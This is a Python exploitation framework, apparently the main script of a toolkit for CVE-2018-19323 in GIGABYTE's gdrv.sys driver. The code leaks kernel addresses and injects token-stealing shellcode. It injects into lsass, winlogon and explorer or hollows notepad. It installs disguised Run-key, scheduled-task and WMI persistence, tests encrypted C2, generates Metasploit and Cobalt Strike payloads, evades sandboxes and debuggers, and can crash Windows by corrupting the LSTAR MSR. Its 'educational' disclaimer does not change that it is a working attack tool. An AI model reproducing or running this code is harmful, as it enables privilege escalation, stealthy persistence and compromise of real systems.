#!/usr/bin/env python3 import sys import os import time import ctypes import threading from ctypes import c_uint64, c_uint32, byref, sizeof try: from core import * from payloads import * from evasion import * from monitor import * from multiarch import * from framework import * except ImportError as e: print(f"[-] Module import failed: {e}") print(" Ensure all files are in the same directory") sys.exit(1) class GigabyteExploit: def __init__(self, stealth=True, debug=False): self.stealth = stealth self.debug = debug self.monitor = ExploitMonitor(debug) self.detector = SystemDetector() self.evasion = DefenseEvasion() self.exploiter = KernelExploiter() self.post_exploit = PostExploit() self.advanced_evasion = AdvancedEvasion() self.persistence = PersistenceManager() self.network_evasion = NetworkEvasion() self.payload_delivery = PayloadDelivery() self.process_hollowing = ProcessHollowing() self.exploit_payloads = ExploitPayloads() self.advanced_techniques = AdvancedTechniques() self.multiarch = MultiArchSupport() self.framework_integration = FrameworkIntegration() self.execution_state = { "connected": False, "kernel_leaked": False, "privileges_escalated": False, "persistence_established": False, "payload_injected": False } def show_banner(self): banner = """ ╔══════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2018-19323 Advanced Exploitation Framework ║ ║ GIGABYTE GDrv Ring-0 Exploit ║ ╠══════════════════════════════════════════════════════════════════════════════╣ ║ Target: gdrv.sys - GIGABYTE Low-Level System Driver ║ ║ CVSS Score: 9.8 (Critical) ║ ║ Impact: Privilege Escalation / Kernel Code Execution ║ ║ Author: https://github.com/blueisbeautiful ║ ╠══════════════════════════════════════════════════════════════════════════════╣ ║ Features: ║ ║ • Advanced Anti-Analysis & Sandbox Evasion ║ ║ • Multi-Architecture Support (x86/x64/ARM64) ║ ║ • Custom Payload Generation & Delivery ║ ║ • Framework Integration (Metasploit/Cobalt Strike) ║ ║ • Process Hollowing & Reflective DLL Loading ║ ║ • Comprehensive Monitoring & Logging ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """ print(banner) def run_preflight_checks(self): self.monitor.logger.info("Starting comprehensive preflight checks") if not self.monitor.run_health_checks(): self.monitor.logger.critical("System health checks failed") return False if self.advanced_evasion.detect_vm(): self.monitor.logger.warning("Virtual machine detected") if self.stealth: return False if self.advanced_evasion.detect_analysis_tools(): self.monitor.logger.warning("Analysis tools detected") if self.stealth: return False if not self.advanced_evasion.comprehensive_env_check(): self.monitor.logger.warning("Environment check failed") if self.stealth: return False if self.evasion.anti_debug_check(): self.monitor.logger.warning("Debugger detected") if self.stealth: return False if not self.advanced_evasion.check_mouse_activity(): self.monitor.logger.warning("Insufficient mouse movement") if self.stealth: return False if not self.advanced_evasion.check_uptime(): self.monitor.logger.warning("System uptime too low") if self.stealth: return False self.monitor.logger.success("All preflight checks passed") return True def establish_connection(self): self.monitor.logger.info("Establishing connection to vulnerable driver") self.monitor.perf_monitor.start_monitoring("driver_connection") self.monitor.metrics.increment("connection_attempts") try: if self.exploiter.connect_driver(): self.execution_state["connected"] = True self.monitor.metrics.increment("connection_successes") self.monitor.logger.success("Connection to gdrv.sys established") return True else: error = ctypes.windll.kernel32.GetLastError() self.monitor.logger.error(f"Driver connection failed", error_code=error) self.monitor.metrics.increment("errors") return False except Exception as e: self.monitor.logger.error(f"Exception during connection", exception=str(e)) self.monitor.metrics.increment("errors") return False finally: self.monitor.perf_monitor.end_monitoring("driver_connection") def leak_kernel_info(self): self.monitor.logger.info("Executing kernel information disclosure") self.monitor.perf_monitor.start_monitoring("kernel_leak") try: kernel_base = self.exploiter.leak_kernel_base() if kernel_base: self.execution_state["kernel_leaked"] = True self.monitor.metrics.increment("kernel_leaks") self.monitor.logger.success("Kernel addresses leaked", kernel_base=hex(kernel_base), lstar_original=hex(self.exploiter.lstar_original)) additional_msrs = [IA32_STAR, IA32_CSTAR, IA32_KERNEL_GS_BASE] leaked_msrs = {} for msr in additional_msrs: self.monitor.metrics.increment("msr_read_attempts") value = self.exploiter.read_msr(msr) if value: leaked_msrs[hex(msr)] = hex(value) self.monitor.metrics.increment("msr_read_successes") self.monitor.logger.info("Additional MSRs leaked", msrs=leaked_msrs) return True else: self.monitor.logger.error("Kernel address leak failed") self.monitor.metrics.increment("errors") return False except Exception as e: self.monitor.logger.error(f"Exception during leak", exception=str(e)) self.monitor.metrics.increment("errors") return False finally: self.monitor.perf_monitor.end_monitoring("kernel_leak") def escalate_privileges(self): self.monitor.logger.info("Executing privilege escalation") self.monitor.perf_monitor.start_monitoring("privilege_escalation") try: arch = self.multiarch.detect_architecture() token_steal_payload = self.exploit_payloads.get_token_steal_payload(arch) if self.exploiter.inject_shellcode(token_steal_payload): self.execution_state["privileges_escalated"] = True self.monitor.metrics.increment("privilege_escalations") self.monitor.logger.success("Privileges escalated successfully") if self.exploiter.escalate_privileges(): self.monitor.logger.success("Escalation validation confirmed") return True else: self.monitor.logger.warning("Escalation not confirmed") return True else: self.monitor.logger.error("Escalation payload injection failed") self.monitor.metrics.increment("errors") return False except Exception as e: self.monitor.logger.error(f"Exception during escalation", exception=str(e)) self.monitor.metrics.increment("errors") return False finally: self.monitor.perf_monitor.end_monitoring("privilege_escalation") def inject_advanced_payloads(self): self.monitor.logger.info("Executing advanced payload injection") self.monitor.perf_monitor.start_monitoring("payload_injection") try: target_processes = ["explorer.exe", "winlogon.exe", "lsass.exe"] injection_successful = False import psutil for proc in psutil.process_iter(['pid', 'name']): if proc.info['name'].lower() in target_processes: target_pid = proc.info['pid'] self.monitor.logger.info(f"Attempting injection into process", process=proc.info['name'], pid=target_pid) arch = self.multiarch.detect_process_arch(target_pid) advanced_payload = self.advanced_techniques.execute_process_hollowing(target_pid, arch) if self.post_exploit.inject_process(target_pid): self.execution_state["payload_injected"] = True self.monitor.metrics.increment("payload_injections") self.monitor.logger.success(f"Payload injected successfully", process=proc.info['name']) injection_successful = True break if not injection_successful: self.monitor.logger.warning("No successful process injection") arch = self.multiarch.detect_architecture() hollowing_payload = b"\x90" * 100 + self.exploit_payloads.get_privilege_escalation_payload(arch) if self.process_hollowing.execute_advanced_injection("C:\\Windows\\System32\\notepad.exe", hollowing_payload, arch): self.monitor.logger.success("Process hollowing executed successfully") injection_successful = True return injection_successful except Exception as e: self.monitor.logger.error(f"Exception during injection", exception=str(e)) self.monitor.metrics.increment("errors") return False finally: self.monitor.perf_monitor.end_monitoring("payload_injection") def establish_persistence(self): self.monitor.logger.info("Establishing persistence mechanisms") self.monitor.perf_monitor.start_monitoring("persistence") try: current_executable = sys.executable persistence_methods = 0 self.monitor.metrics.increment("persistence_attempts") if self.persistence.registry_run_key("SecurityUpdate", current_executable): self.monitor.logger.success("Registry Run Key persistence established") persistence_methods += 1 self.monitor.metrics.increment("persistence_attempts") if self.persistence.scheduled_task("SystemMaintenance", current_executable): self.monitor.logger.success("Scheduled Task persistence established") persistence_methods += 1 self.monitor.metrics.increment("persistence_attempts") if self.persistence.wmi_event_subscription("WMIConsumer", "WMIFilter"): self.monitor.logger.success("WMI Event persistence established") persistence_methods += 1 if persistence_methods > 0: self.execution_state["persistence_established"] = True self.monitor.metrics.increment("persistence_successes") self.monitor.logger.success(f"Persistence established", methods=persistence_methods) return True else: self.monitor.logger.error("All persistence methods failed") self.monitor.metrics.increment("errors") return False except Exception as e: self.monitor.logger.error(f"Exception during persistence", exception=str(e)) self.monitor.metrics.increment("errors") return False finally: self.monitor.perf_monitor.end_monitoring("persistence") def demonstrate_c2(self): self.monitor.logger.info("Demonstrating C2 communication") try: test_server = "https://httpbin.org/post" command_data = "test_command" response = self.network_evasion.encrypted_c2_comm(test_server, command_data, b'test_key_32_bytes_long_exactly!') if response: self.monitor.logger.success("C2 communication established", response_length=len(response)) return True else: self.monitor.logger.warning("C2 communication failed") return False except Exception as e: self.monitor.logger.error(f"Exception during C2", exception=str(e)) return False def demonstrate_framework_integration(self): self.monitor.logger.info("Demonstrating framework integration") try: metasploit_payload = self.framework_integration.generate_metasploit_payload() if metasploit_payload: self.monitor.logger.success("Metasploit payload generated") cobalt_strike_beacon = self.framework_integration.generate_cobalt_strike_beacon() if cobalt_strike_beacon: self.monitor.logger.success("Cobalt Strike beacon generated") return True except Exception as e: self.monitor.logger.error(f"Exception during framework integration", exception=str(e)) return False def execute_bsod_demo(self): self.monitor.logger.warning("DANGEROUS DEMO: Blue Screen of Death") if not self.debug: print("\n[!] CRITICAL WARNING: This operation will crash the system!") print("[!] All unsaved data will be lost!") print("[!] Use only in isolated test environment!") confirmation = input("\n[?] Type 'CRASH_SYSTEM_NOW' to confirm: ") if confirmation != "CRASH_SYSTEM_NOW": self.monitor.logger.info("BSOD demonstration cancelled by user") return False self.monitor.logger.critical("Starting BSOD demonstration") try: self.monitor.metrics.increment("msr_write_attempts") malicious_lstar = 0xDEADBEEFCAFEBABE if self.exploiter.write_msr(IA32_LSTAR, malicious_lstar): self.monitor.metrics.increment("msr_write_successes") self.monitor.logger.critical("MSR corrupted - system should crash") time.sleep(2) self.monitor.logger.error("BSOD did not occur - exploit may have failed") return False else: self.monitor.logger.error("Failed to corrupt MSR") self.monitor.metrics.increment("errors") return False except Exception as e: self.monitor.logger.error(f"Exception during BSOD", exception=str(e)) self.monitor.metrics.increment("crashes") return False def cleanup_and_restore(self): self.monitor.logger.info("Executing cleanup and restoration") try: if self.execution_state["connected"] and self.exploiter.lstar_original: self.monitor.logger.info("Restoring original LSTAR") self.exploiter.write_msr(IA32_LSTAR, self.exploiter.lstar_original) self.exploiter.cleanup() self.monitor.logger.success("Cleanup completed") except Exception as e: self.monitor.logger.error(f"Error during cleanup", exception=str(e)) def run_comprehensive_exploit(self): try: self.show_banner() self.monitor.start_monitoring() print("\n[*] Starting advanced exploitation framework...") if not self.run_preflight_checks(): print("[-] Preflight checks failed") return False print("[+] Preflight checks passed") if not self.establish_connection(): print("[-] Driver connection failed") return False print("[+] Driver connection established") if not self.leak_kernel_info(): print("[-] Kernel information leak failed") return False print("[+] Kernel information leaked") if self.escalate_privileges(): print("[+] Privileges escalated") else: print("[-] Privilege escalation failed") if self.inject_advanced_payloads(): print("[+] Advanced payloads injected") else: print("[-] Payload injection failed") if self.establish_persistence(): print("[+] Persistence established") else: print("[-] Persistence failed") if self.demonstrate_c2(): print("[+] C2 communication demonstrated") else: print("[-] C2 communication failed") if self.demonstrate_framework_integration(): print("[+] Framework integration demonstrated") else: print("[-] Framework integration failed") print("\n[*] Main exploit completed") bsod_demo = input("\n[?] Execute BSOD demonstration? (y/N): ").strip().lower() if bsod_demo == 'y': self.execute_bsod_demo() return True except KeyboardInterrupt: print("\n[*] Exploit interrupted by user") return False except Exception as e: print(f"\n[-] Critical exploit error: {e}") self.monitor.logger.critical(f"Critical error", exception=str(e)) return False finally: self.cleanup_and_restore() self.monitor.stop_monitoring() print("\n[*] Generating final report...") final_report = self.monitor.generate_final_report() print(f"\n[+] Report saved as: exploit_report_{self.monitor.logger.session_id}.json") print(f"[+] Reliability score: {final_report['metrics']['reliability_score']:.1f}%") def main(): print("CVE-2018-19323 GIGABYTE GDrv Advanced Exploitation Framework") print("=" * 70) if len(sys.argv) > 1: if sys.argv[1] == "--help": print("\nUsage: python exploit.py [options]") print("\nOptions:") print(" --help Show this help") print(" --stealth Stealth mode with maximum evasion (default)") print(" --aggressive Aggressive mode without evasion checks") print(" --debug Debug mode with detailed logging") print(" --test-only Run tests only without real exploitation") print("\nRequirements:") print("- Windows with gdrv.sys driver present") print("- Administrator privileges recommended") print("- Isolated environment for testing") print("- All Python modules in same directory") print("\nWarning: This exploit may cause system instability!") print("Use only for educational and security research purposes.") return elif sys.argv[1] == "--stealth": exploit = GigabyteExploit(stealth=True, debug=False) elif sys.argv[1] == "--aggressive": exploit = GigabyteExploit(stealth=False, debug=False) elif sys.argv[1] == "--debug": exploit = GigabyteExploit(stealth=True, debug=True) elif sys.argv[1] == "--test-only": print("\n[*] Running tests only...") os.system("python tests.py --all") return else: print(f"Invalid option: {sys.argv[1]}") print("Use --help to see available options.") return else: exploit = GigabyteExploit() print("\n[!] LEGAL WARNING:") print("This software is provided for educational and research purposes only.") print("Use on unauthorized systems is illegal and unethical.") print("The author is not responsible for any damage caused.") confirmation = input("\n[?] Do you agree to the terms and wish to continue? (y/N): ") if confirmation.lower() != 'y': print("Operation cancelled by user.") return success = exploit.run_comprehensive_exploit() if success: print("\n[+] Exploitation framework executed successfully!") sys.exit(0) else: print("\n[-] Exploitation framework failed!") sys.exit(1) if __name__ == "__main__": main()